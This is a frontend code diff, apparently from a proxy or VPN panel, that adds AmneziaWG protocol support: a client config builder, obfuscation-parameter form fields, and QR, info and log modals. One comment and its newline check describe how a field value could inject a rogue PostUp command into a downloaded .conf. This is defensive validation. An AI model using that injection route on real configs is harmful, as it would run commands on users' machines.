+function hLine(key: string, value: string | undefined, fallback: string): string {
+  return `${key} = ${value && value.trim() !== '' ? value : fallback}`;
+}
+
+// addressOverride carries this inbound's own AllowedIPs (ClientHydrateSchema's
+// tunnelAllowedIPs). ClientRecord.allowedIPs is a single shared column, so for
+// an identity attached to both WireGuard and AmneziaWG it holds the WireGuard
+// address — writing that into the AmneziaWG .conf yields an unroutable peer.
+export function buildAmneziaWGClientConfig(
+  client: ClientRecord,
+  inbound: InboundOption | undefined,
+  host = window.location.hostname,
+  publicHost = '',
+  addressOverride = '',
+): string {
+  const server = inbound?.awgServer;
+  const endpointHost = resolveShareHost(
+    inbound ?? {},
+    inbound?.nodeAddress ?? '',
+    preferPublicHost(host, publicHost),
+  );
+  const address = addressOverride || client.allowedIPs || '10.8.1.2/32';
+  const endpoint = `${endpointHost}:${inbound?.port || ''}`;
+  const inboundName = inbound ? formatInboundLabel(inbound.tag, inbound.remark) : '';
+  const remark = [inboundName, client.email, client.comment].filter(Boolean).join(' - ');
+
+  // These land unescaped in [Interface]; a newline here would inject a
+  // config line (e.g. a rogue PostUp) into the downloaded .conf.
+  const privateKey = client.privateKey || client.password || '';
+  for (const v of [privateKey, server?.primaryDns ?? '', server?.secondaryDns ?? '', remark]) {
+    if (/[\r\n]/.test(v)) return '';
+  }
+
+  const dnsParts = [server?.primaryDns, server?.secondaryDns].filter((v) => !!v && v.trim() !== '');
+  const lines = ['[Interface]', `PrivateKey = ${privateKey}`, `Address = ${address}`];
+  if (dnsParts.length > 0) lines.push(`DNS = ${dnsParts.join(', ')}`);
+  if (server?.mtu && server.mtu > 0) lines.push(`MTU = ${server.mtu}`);
+
+  // AmneziaWG obfuscation parameters — must match the server's values.
+  lines.push(`Jc = ${server?.jc ?? 5}`);
+  lines.push(`Jmin = ${server?.jmin ?? 10}`);
+  lines.push(`Jmax = ${server?.jmax ?? 50}`);
+  lines.push(`S1 = ${server?.s1 ?? 30}`);
+  lines.push(`S2 = ${server?.s2 ?? 45}`);
+  if (server?.s3) lines.push(`S3 = ${server.s3}`);
+  if (server?.s4) lines.push(`S4 = ${server.s4}`);
+  lines.push(hLine('H1', server?.h1, '1'));
+  lines.push(hLine('H2', server?.h2, '2'));
+  lines.push(hLine('H3', server?.h3, '3'));
+  lines.push(hLine('H4', server?.h4, '4'));
+  if (server?.i1) lines.push(`I1 = ${server.i1}`);
+  if (server?.i2) lines.push(`I2 = ${server.i2}`);
+  if (server?.i3) lines.push(`I3 = ${server.i3}`);
+  if (server?.i4) lines.push(`I4 = ${server.i4}`);
+  if (server?.i5) lines.push(`I5 = ${server.i5}`);
+  const optional31: Array<[string, string | undefined]> = [
+    ['HeaderProtectionKey', server?.headerProtectionKey],
+    ['ContentPaddingAddition', server?.contentPaddingAddition],
+    ['RekeyAfterTime', server?.rekeyAfterTime],
+    ['RekeyTimeout', server?.rekeyTimeout],
+    ['RejectAfterTime', server?.rejectAfterTime],
+    ['KeepaliveTimeout', server?.keepaliveTimeout],
+    ['MaxHandshakeAttempts', server?.maxHandshakeAttempts],
+  ];
+  for (const [key, value] of optional31) {
+    if (value && value.trim() !== '') lines.push(`${key} = ${value}`);
+  }
+  if (server?.randomTrailers) lines.push('RandomTrailers = on');
+  if (server?.disableCookies) lines.push('DisableCookies = on');
+
+  lines.push('');
+  if (remark) lines.push(`# ${remark}`);
+  lines.push('[Peer]', `PublicKey = ${server?.publicKey || ''}`);
+  if (client.preSharedKey) lines.push(`PresharedKey = ${client.preSharedKey}`);
+  lines.push('AllowedIPs = 0.0.0.0/0, ::/0', `Endpoint = ${endpoint}`);
+  if (client.keepAlive && client.keepAlive > 0)
+    lines.push(`PersistentKeepalive = ${client.keepAlive}`);
+  return lines.join('\n');
+}

+ 1 - 0
frontend/src/pages/hosts/HostList.tsx

@@ -39,6 +39,7 @@ const INBOUND_PROTOCOL_COLORS: Record<string, string> = {
   hysteria: 'cyan',
   hysteria: 'cyan',
   hysteria2: 'green',
   hysteria2: 'green',
   wireguard: 'gold',
   wireguard: 'gold',
+  amneziawg: 'yellow',
   http: 'purple',
   http: 'purple',
   mixed: 'lime',
   mixed: 'lime',
   tunnel: 'orange',
   tunnel: 'orange',

+ 17 - 2
frontend/src/pages/inbounds/InboundsPage.tsx

@@ -25,8 +25,14 @@ import {
 import { HttpUtil, SizeFormatter, RandomUtil } from '@/utils';
 import { HttpUtil, SizeFormatter, RandomUtil } from '@/utils';
 import { buildClonePayload } from '@/lib/xray/inbound-clone';
 import { buildClonePayload } from '@/lib/xray/inbound-clone';
 import { NODE_ELIGIBLE_PROTOCOLS } from '@/lib/xray/node-protocols';
 import { NODE_ELIGIBLE_PROTOCOLS } from '@/lib/xray/node-protocols';
-import { genInboundLinks, genWireguardLinks, preferPublicHost } from '@/lib/xray/inbound-link';
+import {
+  genAmneziaWGLinks,
+  genInboundLinks,
+  genWireguardLinks,
+  preferPublicHost,
+} from '@/lib/xray/inbound-link';
 import { inboundFromDb } from '@/lib/xray/inbound-from-db';
 import { inboundFromDb } from '@/lib/xray/inbound-from-db';
+import { Protocols } from '@/schemas/primitives';
 import { coerceInboundJsonField, type DBInbound } from '@/models/dbinbound';
 import { coerceInboundJsonField, type DBInbound } from '@/models/dbinbound';
 import { useTheme } from '@/hooks/useTheme';
 import { useTheme } from '@/hooks/useTheme';
 import { useMediaQuery } from '@/hooks/useMediaQuery';
 import { useMediaQuery } from '@/hooks/useMediaQuery';
@@ -335,7 +341,16 @@ export default function InboundsPage() {
               content: genWireguardLinks(genInput),
               content: genWireguardLinks(genInput),
             },
             },
           ]
           ]
-        : undefined;
+        : projected.protocol === Protocols.AMNEZIAWG
+          ? [
+              { key: 'config', label: t('pages.clients.config'), content },
+              {
+                key: 'links',
+                label: t('pages.clients.tabLinks'),
+                content: genAmneziaWGLinks(genInput),
+              },
+            ]
+          : undefined;
       openText({
       openText({
         title: t('pages.inbounds.exportLinksTitle'),
         title: t('pages.inbounds.exportLinksTitle'),
         content,
         content,

+ 46 - 0
frontend/src/pages/inbounds/form/InboundFormModal.tsx

@@ -21,6 +21,7 @@ import { HttpUtil, NumberFormatter, RandomUtil, SizeFormatter, Wireguard } from
 import type { RealityScanResult } from '@/generated/types';
 import type { RealityScanResult } from '@/generated/types';
 import { rawInboundToFormValues, formValuesToWirePayload } from '@/lib/xray/inbound-form-adapter';
 import { rawInboundToFormValues, formValuesToWirePayload } from '@/lib/xray/inbound-form-adapter';
 import { createDefaultInboundSettings } from '@/lib/xray/inbound-defaults';
 import { createDefaultInboundSettings } from '@/lib/xray/inbound-defaults';
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
 import { composeInboundTag, isAutoInboundTag, type InboundTagInput } from '@/lib/xray/inbound-tag';
 import { composeInboundTag, isAutoInboundTag, type InboundTagInput } from '@/lib/xray/inbound-tag';
 import {
 import {
   canEnableReality,
   canEnableReality,
@@ -56,6 +57,7 @@ import './InboundFormModal.css';
 import { AdvancedAllEditor, AdvancedSliceEditor } from './advanced-editors';
 import { AdvancedAllEditor, AdvancedSliceEditor } from './advanced-editors';
 import { formatInboundIssue, formatInboundValidation } from './formatValidationError';
 import { formatInboundIssue, formatInboundValidation } from './formatValidationError';
 import {
 import {
+  AmneziawgFields,
   HttpFields,
   HttpFields,
   HysteriaFields,
   HysteriaFields,
   MixedFields,
   MixedFields,
@@ -347,6 +349,41 @@ export default function InboundFormModal({
     setV('settings.secretKey', kp.privateKey);
     setV('settings.secretKey', kp.privateKey);
   };
   };
 
 
+  // AmneziaWG uses the same Curve25519 keys as WireGuard, just nested under
+  // settings.server instead of flat on settings — see amneziawg.ts. Unlike
+  // WireGuard's Xray-native inbound (which re-derives its public key at
+  // runtime and never stores one), AmneziaWG's server.publicKey is a real,
+  // persisted field the Go backend reads directly, so it must be kept in
+  // sync even when the user free-types a new private key instead of using
+  // the regenerate button.
+  const awgPrivateKey = useWatch({ control, name: 'settings.server.privateKey' });
+  const awgPubKey =
+    typeof awgPrivateKey === 'string' && awgPrivateKey.length > 0
+      ? Wireguard.generateKeypair(awgPrivateKey).publicKey
+      : '';
+
+  useEffect(() => {
+    if (protocol === Protocols.AMNEZIAWG) {
+      setV('settings.server.publicKey', awgPubKey);
+    }
+    /* eslint-disable-next-line react-hooks/exhaustive-deps */
+  }, [awgPubKey, protocol]);
+
+  const regenInboundAwg = () => {
+    const kp = Wireguard.generateKeypair();
+    setV('settings.server.privateKey', kp.privateKey);
+    setV('settings.server.publicKey', kp.publicKey);
+  };
+
+  // Randomizes the AmneziaWG 3.1 obfuscation set client-side; the shared
+  // generator mirrors the Go backend's amneziawg.GenerateObfuscation31.
+  const regenInboundAwgObfuscation = () => {
+    const obf = generateAwgObfuscation();
+    for (const [field, value] of Object.entries(obf)) {
+      setV(`settings.server.${field}`, value);
+    }
+  };
+
   const matchesVlessAuth = (
   const matchesVlessAuth = (
     block: { id?: string; label?: string } | undefined | null,
     block: { id?: string; label?: string } | undefined | null,
     authId: string,
     authId: string,
@@ -740,6 +777,14 @@ export default function InboundFormModal({
         <WireguardFields wgPubKey={wgPubKey} regenInboundWg={regenInboundWg} />
         <WireguardFields wgPubKey={wgPubKey} regenInboundWg={regenInboundWg} />
       )}
       )}
 
 
+      {protocol === Protocols.AMNEZIAWG && (
+        <AmneziawgFields
+          awgPubKey={awgPubKey}
+          regenInboundAwg={regenInboundAwg}
+          regenInboundAwgObfuscation={regenInboundAwgObfuscation}
+        />
+      )}
+
       {protocol === Protocols.TUN && <TunFields />}
       {protocol === Protocols.TUN && <TunFields />}
 
 
       {protocol === Protocols.TUNNEL && <TunnelFields />}
       {protocol === Protocols.TUNNEL && <TunnelFields />}
@@ -1077,6 +1122,7 @@ export default function InboundFormModal({
                     Protocols.TUN,
                     Protocols.TUN,
                     Protocols.WIREGUARD,
                     Protocols.WIREGUARD,
                     Protocols.MTPROTO,
                     Protocols.MTPROTO,
+                    Protocols.AMNEZIAWG,
                   ] as string[]
                   ] as string[]
                 ).includes(protocol) || isFallbackHost
                 ).includes(protocol) || isFallbackHost
                   ? [
                   ? [

+ 216 - 0
frontend/src/pages/inbounds/form/protocols/amneziawg.tsx

@@ -0,0 +1,216 @@
+import { useTranslation } from 'react-i18next';
+import { Button, Form, Input, InputNumber, Space, Switch } from 'antd';
+import { ReloadOutlined } from '@ant-design/icons';
+
+import { FormField } from '@/components/form/rhf';
+
+interface AmneziawgFieldsProps {
+  awgPubKey: string;
+  regenInboundAwg: () => void;
+  regenInboundAwgObfuscation: () => void;
+}
+
+export default function AmneziawgFields({
+  awgPubKey,
+  regenInboundAwg,
+  regenInboundAwgObfuscation,
+}: AmneziawgFieldsProps) {
+  const { t } = useTranslation();
+  return (
+    <>
+      <Form.Item label={t('pages.xray.amneziawg.privateKey')}>
+        <Space.Compact block>
+          <FormField name={['settings', 'server', 'privateKey']} noStyle>
+            <Input style={{ width: 'calc(100% - 32px)' }} />
+          </FormField>
+          <Button
+            aria-label={t('regenerate')}
+            icon={<ReloadOutlined />}
+            onClick={regenInboundAwg}
+          />
+        </Space.Compact>
+      </Form.Item>
+      <Form.Item label={t('pages.xray.amneziawg.publicKey')}>
+        <Input value={awgPubKey} disabled />
+      </Form.Item>
+      <FormField
+        name={['settings', 'server', 'subnetIp']}
+        label={t('pages.xray.amneziawg.subnetIp')}
+      >
+        <Input placeholder="10.8.1.0" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'subnetCidr']}
+        label={t('pages.xray.amneziawg.subnetCidr')}
+      >
+        <InputNumber min={1} max={32} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 'mtu']} label={t('pages.xray.amneziawg.mtu')}>
+        <InputNumber min={1} style={{ width: '100%' }} />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'primaryDns']}
+        label={t('pages.xray.amneziawg.primaryDns')}
+      >
+        <Input placeholder="8.8.8.8" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'secondaryDns']}
+        label={t('pages.xray.amneziawg.secondaryDns')}
+      >
+        <Input placeholder="8.8.4.4" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'externalInterface']}
+        label={t('pages.xray.amneziawg.externalInterface')}
+        extra={t('pages.xray.amneziawg.externalInterfaceHint')}
+      >
+        <Input placeholder="eth0" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'ipv6Enabled']}
+        label={t('pages.xray.amneziawg.ipv6Enabled')}
+        valueProp="checked"
+      >
+        <Switch />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'ipv6Subnet']}
+        label={t('pages.xray.amneziawg.ipv6Subnet')}
+        extra={t('pages.xray.amneziawg.ipv6SubnetHint')}
+      >
+        <Input placeholder="fd86:ea04:1115::/64" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'ipv6ExternalInterface']}
+        label={t('pages.xray.amneziawg.ipv6ExternalInterface')}
+        extra={t('pages.xray.amneziawg.ipv6ExternalInterfaceHint')}
+      >
+        <Input placeholder="eth0" />
+      </FormField>
+      <Form.Item label={t('pages.xray.amneziawg.obfuscation')}>
+        <Button icon={<ReloadOutlined />} onClick={regenInboundAwgObfuscation}>
+          {t('pages.xray.amneziawg.regenerateObfuscation')}
+        </Button>
+      </Form.Item>
+      <FormField name={['settings', 'server', 'jc']} label={t('pages.xray.amneziawg.jc')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 'jmin']} label={t('pages.xray.amneziawg.jmin')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 'jmax']} label={t('pages.xray.amneziawg.jmax')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's1']} label={t('pages.xray.amneziawg.s1')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's2']} label={t('pages.xray.amneziawg.s2')}>
+        <InputNumber min={0} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's3']} label={t('pages.xray.amneziawg.s3')}>
+        <InputNumber min={0} max={64} style={{ width: '100%' }} />
+      </FormField>
+      <FormField name={['settings', 'server', 's4']} label={t('pages.xray.amneziawg.s4')}>
+        <InputNumber min={0} max={32} style={{ width: '100%' }} />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'h1']}
+        label={t('pages.xray.amneziawg.h1')}
+        extra={t('pages.xray.amneziawg.hHint')}
+      >
+        <Input placeholder="1 or 100-800" />
+      </FormField>
+      <FormField name={['settings', 'server', 'h2']} label={t('pages.xray.amneziawg.h2')}>
+        <Input placeholder="2 or 100-800" />
+      </FormField>
+      <FormField name={['settings', 'server', 'h3']} label={t('pages.xray.amneziawg.h3')}>
+        <Input placeholder="3 or 100-800" />
+      </FormField>
+      <FormField name={['settings', 'server', 'h4']} label={t('pages.xray.amneziawg.h4')}>
+        <Input placeholder="4 or 100-800" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'i1']}
+        label={t('pages.xray.amneziawg.i1')}
+        extra={t('pages.xray.amneziawg.i1Hint')}
+      >
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i2']} label={t('pages.xray.amneziawg.i2')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i3']} label={t('pages.xray.amneziawg.i3')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i4']} label={t('pages.xray.amneziawg.i4')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField name={['settings', 'server', 'i5']} label={t('pages.xray.amneziawg.i5')}>
+        <Input placeholder="<r 64>" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'headerProtectionKey']}
+        label={t('pages.xray.amneziawg.headerProtectionKey')}
+        extra={t('pages.xray.amneziawg.headerProtectionKeyHint')}
+      >
+        <Input />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'contentPaddingAddition']}
+        label={t('pages.xray.amneziawg.contentPaddingAddition')}
+        extra={t('pages.xray.amneziawg.contentPaddingAdditionHint')}
+      >
+        <Input placeholder="8-64" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'rekeyAfterTime']}
+        label={t('pages.xray.amneziawg.rekeyAfterTime')}
+        extra={t('pages.xray.amneziawg.timingRangeHint')}
+      >
+        <Input placeholder="100-160" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'rekeyTimeout']}
+        label={t('pages.xray.amneziawg.rekeyTimeout')}
+      >
+        <Input placeholder="3-10" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'rejectAfterTime']}
+        label={t('pages.xray.amneziawg.rejectAfterTime')}
+      >
+        <Input placeholder="190-250" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'keepaliveTimeout']}
+        label={t('pages.xray.amneziawg.keepaliveTimeout')}
+      >
+        <Input placeholder="8-20" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'maxHandshakeAttempts']}
+        label={t('pages.xray.amneziawg.maxHandshakeAttempts')}
+        extra={t('pages.xray.amneziawg.maxHandshakeAttemptsHint')}
+      >
+        <Input placeholder="15-50" />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'randomTrailers']}
+        label={t('pages.xray.amneziawg.randomTrailers')}
+        extra={t('pages.xray.amneziawg.randomTrailersHint')}
+        valueProp="checked"
+      >
+        <Switch />
+      </FormField>
+      <FormField
+        name={['settings', 'server', 'disableCookies']}
+        label={t('pages.xray.amneziawg.disableCookies')}
+        extra={t('pages.xray.amneziawg.disableCookiesHint')}
+        valueProp="checked"
+      >
+        <Switch />
+      </FormField>
+    </>
+  );
+}

+ 1 - 0
frontend/src/pages/inbounds/form/protocols/index.ts

@@ -7,3 +7,4 @@ export { default as HttpFields } from './http';
 export { default as MixedFields } from './mixed';
 export { default as MixedFields } from './mixed';
 export { default as MtprotoFields } from './mtproto';
 export { default as MtprotoFields } from './mtproto';
 export { default as VlessFields } from './vless';
 export { default as VlessFields } from './vless';
+export { default as AmneziawgFields } from './amneziawg';

+ 6 - 0
frontend/src/pages/inbounds/form/protocols/wireguard.tsx

@@ -24,6 +24,12 @@ export default function WireguardFields({ wgPubKey, regenInboundWg }: WireguardF
       <Form.Item label={t('pages.xray.wireguard.publicKey')}>
       <Form.Item label={t('pages.xray.wireguard.publicKey')}>
         <Input value={wgPubKey} disabled />
         <Input value={wgPubKey} disabled />
       </Form.Item>
       </Form.Item>
+      <FormField name={['settings', 'subnetIp']} label={t('pages.xray.wireguard.subnetIp')}>
+        <Input placeholder="10.0.0.0" />
+      </FormField>
+      <FormField name={['settings', 'subnetCidr']} label={t('pages.xray.wireguard.subnetCidr')}>
+        <InputNumber min={1} max={32} style={{ width: '100%' }} />
+      </FormField>
       <FormField name={['settings', 'mtu']} label="MTU">
       <FormField name={['settings', 'mtu']} label="MTU">
         <InputNumber />
         <InputNumber />
       </FormField>
       </FormField>

+ 80 - 0
frontend/src/pages/inbounds/info/InboundInfoModal.tsx

@@ -10,6 +10,8 @@ import { InfinityIcon } from '@/components/ui';
 import { useDatepicker } from '@/hooks/useDatepicker';
 import { useDatepicker } from '@/hooks/useDatepicker';
 import {
 import {
   genAllLinks,
   genAllLinks,
+  genAmneziaWGConfigs,
+  genAmneziaWGLinks,
   genWireguardConfigs,
   genWireguardConfigs,
   genWireguardLinks,
   genWireguardLinks,
   preferPublicHost,
   preferPublicHost,
@@ -49,6 +51,8 @@ export default function InboundInfoModal({
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
+  const [amneziawgConfigs, setAmneziawgConfigs] = useState<string[]>([]);
+  const [amneziawgLinks, setAmneziawgLinks] = useState<string[]>([]);
   const [subLink, setSubLink] = useState('');
   const [subLink, setSubLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [refreshing, setRefreshing] = useState(false);
   const [refreshing, setRefreshing] = useState(false);
@@ -153,6 +157,28 @@ export default function InboundInfoModal({
           fallbackHostname,
           fallbackHostname,
         }).split('\r\n'),
         }).split('\r\n'),
       );
       );
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
+      setLinks([]);
+    } else if (info.protocol === Protocols.AMNEZIAWG) {
+      setAmneziawgConfigs(
+        genAmneziaWGConfigs({
+          inbound: inboundForLinks,
+          remark: dbInbound.remark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setAmneziawgLinks(
+        genAmneziaWGLinks({
+          inbound: inboundForLinks,
+          remark: dbInbound.remark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setWireguardConfigs([]);
+      setWireguardLinks([]);
       setLinks([]);
       setLinks([]);
     } else {
     } else {
       setLinks(
       setLinks(
@@ -166,6 +192,8 @@ export default function InboundInfoModal({
       );
       );
       setWireguardConfigs([]);
       setWireguardConfigs([]);
       setWireguardLinks([]);
       setWireguardLinks([]);
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
     }
     }
 
 
     if (clientSet?.subId) {
     if (clientSet?.subId) {
@@ -1198,6 +1226,58 @@ export default function InboundInfoModal({
         </>
         </>
       )}
       )}
 
 
+      {inbound?.protocol === Protocols.AMNEZIAWG && amneziawgConfigs.length > 0 && (
+        <>
+          <Divider>{t('pages.inbounds.copyLink')}</Divider>
+          {amneziawgConfigs.map((cfg, idx) => (
+            <Fragment key={idx}>
+              {cfg && (
+                <div className="link-panel">
+                  <div className="link-panel-header">
+                    <Tag color="green">
+                      {t('pages.inbounds.info.peerNumberConfig', { n: idx + 1 })}
+                    </Tag>
+                    <Tooltip title={t('copy')}>
+                      <Button
+                        size="small"
+                        icon={<CopyOutlined />}
+                        aria-label={t('copy')}
+                        onClick={() => copyText(cfg, t)}
+                      />
+                    </Tooltip>
+                    <Tooltip title={t('download')}>
+                      <Button
+                        size="small"
+                        icon={<DownloadOutlined />}
+                        aria-label={t('download')}
+                        onClick={() => downloadText(cfg, `peer-${idx + 1}.conf`)}
+                      />
+                    </Tooltip>
+                  </div>
+                  <code className="link-panel-text">{cfg}</code>
+                </div>
+              )}
+              {amneziawgLinks[idx] && (
+                <div className="link-panel">
+                  <div className="link-panel-header">
+                    <Tag color="green">Peer {idx + 1} link</Tag>
+                    <Tooltip title={t('copy')}>
+                      <Button
+                        size="small"
+                        icon={<CopyOutlined />}
+                        aria-label={t('copy')}
+                        onClick={() => copyText(amneziawgLinks[idx], t)}
+                      />
+                    </Tooltip>
+                  </div>
+                  <code className="link-panel-text">{amneziawgLinks[idx]}</code>
+                </div>
+              )}
+            </Fragment>
+          ))}
+        </>
+      )}
+
       {dbInbound.isSS && !inbound.isSSMultiUser && links.length > 0 && (
       {dbInbound.isSS && !inbound.isSSMultiUser && links.length > 0 && (
         <>
         <>
           <Divider>{t('pages.inbounds.copyLink')}</Divider>
           <Divider>{t('pages.inbounds.copyLink')}</Divider>

+ 1 - 0
frontend/src/pages/inbounds/list/helpers.ts

@@ -89,6 +89,7 @@ export function isInboundMultiUser(record: { protocol: string; settings: unknown
     case 'hysteria':
     case 'hysteria':
     case 'mtproto':
     case 'mtproto':
     case 'wireguard':
     case 'wireguard':
+    case 'amneziawg':
       return true;
       return true;
     case 'shadowsocks':
     case 'shadowsocks':
       return isSSMultiUser({ protocol: 'shadowsocks', settings: readSettings(record.settings) });
       return isSSMultiUser({ protocol: 'shadowsocks', settings: readSettings(record.settings) });

+ 1 - 0
frontend/src/pages/inbounds/list/types.ts

@@ -15,6 +15,7 @@ export type ProtocolFlags = {
   isMixed?: boolean;
   isMixed?: boolean;
   isHTTP?: boolean;
   isHTTP?: boolean;
   isWireguard?: boolean;
   isWireguard?: boolean;
+  isAmneziawg?: boolean;
   isTunnel?: boolean;
   isTunnel?: boolean;
 };
 };
 
 

+ 1 - 1
frontend/src/pages/inbounds/list/useInboundColumns.tsx

@@ -199,7 +199,7 @@ export function useInboundColumns({
               {record.protocol}
               {record.protocol}
             </Tag>,
             </Tag>,
           ];
           ];
-          if (record.isWireguard || record.isHysteria) {
+          if (record.isWireguard || record.isAmneziawg || record.isHysteria) {
             tags.push(
             tags.push(
               <Tag key="n" color="green">
               <Tag key="n" color="green">
                 UDP
                 UDP

+ 57 - 1
frontend/src/pages/inbounds/qr/QrCodeModal.tsx

@@ -6,6 +6,8 @@ import type { CollapseProps } from 'antd';
 import { Protocols } from '@/schemas/primitives';
 import { Protocols } from '@/schemas/primitives';
 import {
 import {
   genAllLinks,
   genAllLinks,
+  genAmneziaWGConfigs,
+  genAmneziaWGLinks,
   genWireguardConfigs,
   genWireguardConfigs,
   genWireguardLinks,
   genWireguardLinks,
   isPostQuantumLink,
   isPostQuantumLink,
@@ -50,6 +52,8 @@ export default function QrCodeModal({
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [links, setLinks] = useState<{ remark?: string; link: string }[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardConfigs, setWireguardConfigs] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
   const [wireguardLinks, setWireguardLinks] = useState<string[]>([]);
+  const [amneziawgConfigs, setAmneziawgConfigs] = useState<string[]>([]);
+  const [amneziawgLinks, setAmneziawgLinks] = useState<string[]>([]);
   const [subLink, setSubLink] = useState('');
   const [subLink, setSubLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [subJsonLink, setSubJsonLink] = useState('');
   const [activeKey, setActiveKey] = useState<string[]>([]);
   const [activeKey, setActiveKey] = useState<string[]>([]);
@@ -97,6 +101,31 @@ export default function QrCodeModal({
           fallbackHostname,
           fallbackHostname,
         }).split('\r\n'),
         }).split('\r\n'),
       );
       );
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
+      setLinks([]);
+    } else if (inbound.protocol === Protocols.AMNEZIAWG) {
+      const peerRemark = client?.email
+        ? `${dbInbound.remark}-${client.email}`
+        : dbInbound.remark || '';
+      setAmneziawgConfigs(
+        genAmneziaWGConfigs({
+          inbound,
+          remark: peerRemark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setAmneziawgLinks(
+        genAmneziaWGLinks({
+          inbound,
+          remark: peerRemark,
+          hostOverride: nodeAddress,
+          fallbackHostname,
+        }).split('\r\n'),
+      );
+      setWireguardConfigs([]);
+      setWireguardLinks([]);
       setLinks([]);
       setLinks([]);
     } else {
     } else {
       setLinks(
       setLinks(
@@ -110,6 +139,8 @@ export default function QrCodeModal({
       );
       );
       setWireguardConfigs([]);
       setWireguardConfigs([]);
       setWireguardLinks([]);
       setWireguardLinks([]);
+      setAmneziawgConfigs([]);
+      setAmneziawgLinks([]);
     }
     }
 
 
     const subId = client?.subId;
     const subId = client?.subId;
@@ -154,8 +185,33 @@ export default function QrCodeModal({
         });
         });
       }
       }
     });
     });
+    amneziawgConfigs.forEach((cfg, idx) => {
+      items.push({
+        key: `ac${idx}`,
+        header: `Peer ${idx + 1} config`,
+        value: cfg,
+        downloadName: `peer-${idx + 1}.conf`,
+      });
+      if (amneziawgLinks[idx]) {
+        items.push({
+          key: `al${idx}`,
+          header: `Peer ${idx + 1} link`,
+          value: amneziawgLinks[idx],
+          showQr: false,
+        });
+      }
+    });
     return items;
     return items;
-  }, [subLink, subJsonLink, links, wireguardConfigs, wireguardLinks, t]);
+  }, [
+    subLink,
+    subJsonLink,
+    links,
+    wireguardConfigs,
+    wireguardLinks,
+    amneziawgConfigs,
+    amneziawgLinks,
+    t,
+  ]);
 
 
   const collapseItems: CollapseProps['items'] = useMemo(
   const collapseItems: CollapseProps['items'] = useMemo(
     () =>
     () =>

+ 1 - 0
frontend/src/pages/inbounds/useInbounds.ts

@@ -66,6 +66,7 @@ const TRACKED_PROTOCOLS: readonly string[] = [
   Protocols.HYSTERIA,
   Protocols.HYSTERIA,
   Protocols.WIREGUARD,
   Protocols.WIREGUARD,
   Protocols.MTPROTO,
   Protocols.MTPROTO,
+  Protocols.AMNEZIAWG,
 ];
 ];
 
 
 async function fetchSlimInbounds(): Promise<unknown[]> {
 async function fetchSlimInbounds(): Promise<unknown[]> {

+ 17 - 0
frontend/src/pages/index/AmneziaWGLogModal.css

@@ -0,0 +1,17 @@
+.awglog-events-title {
+  margin-top: 14px;
+  font-size: 12px;
+  font-weight: 600;
+  opacity: 0.7;
+  text-transform: uppercase;
+  letter-spacing: 0.04em;
+}
+
+.awglog-event-line {
+  padding: 2px 0;
+  word-break: break-word;
+}
+
+.xraylog-table .log-row-offline {
+  opacity: 0.6;
+}

+ 254 - 0
frontend/src/pages/index/AmneziaWGLogModal.tsx

@@ -0,0 +1,254 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { useTranslation } from 'react-i18next';
+import { Button, Checkbox, Empty, Form, Input, Modal, Select, Tag } from 'antd';
+import { DownloadOutlined, SyncOutlined } from '@ant-design/icons';
+
+import { HttpUtil, FileManager, IntlUtil, PromiseUtil, SizeFormatter } from '@/utils';
+import { activateOnKey } from '@/utils/a11y';
+import { useDatepicker } from '@/hooks/useDatepicker';
+import { useMediaQuery } from '@/hooks/useMediaQuery';
+import type { AmneziaWGLogs } from '@/generated/types';
+import './XrayLogModal.css';
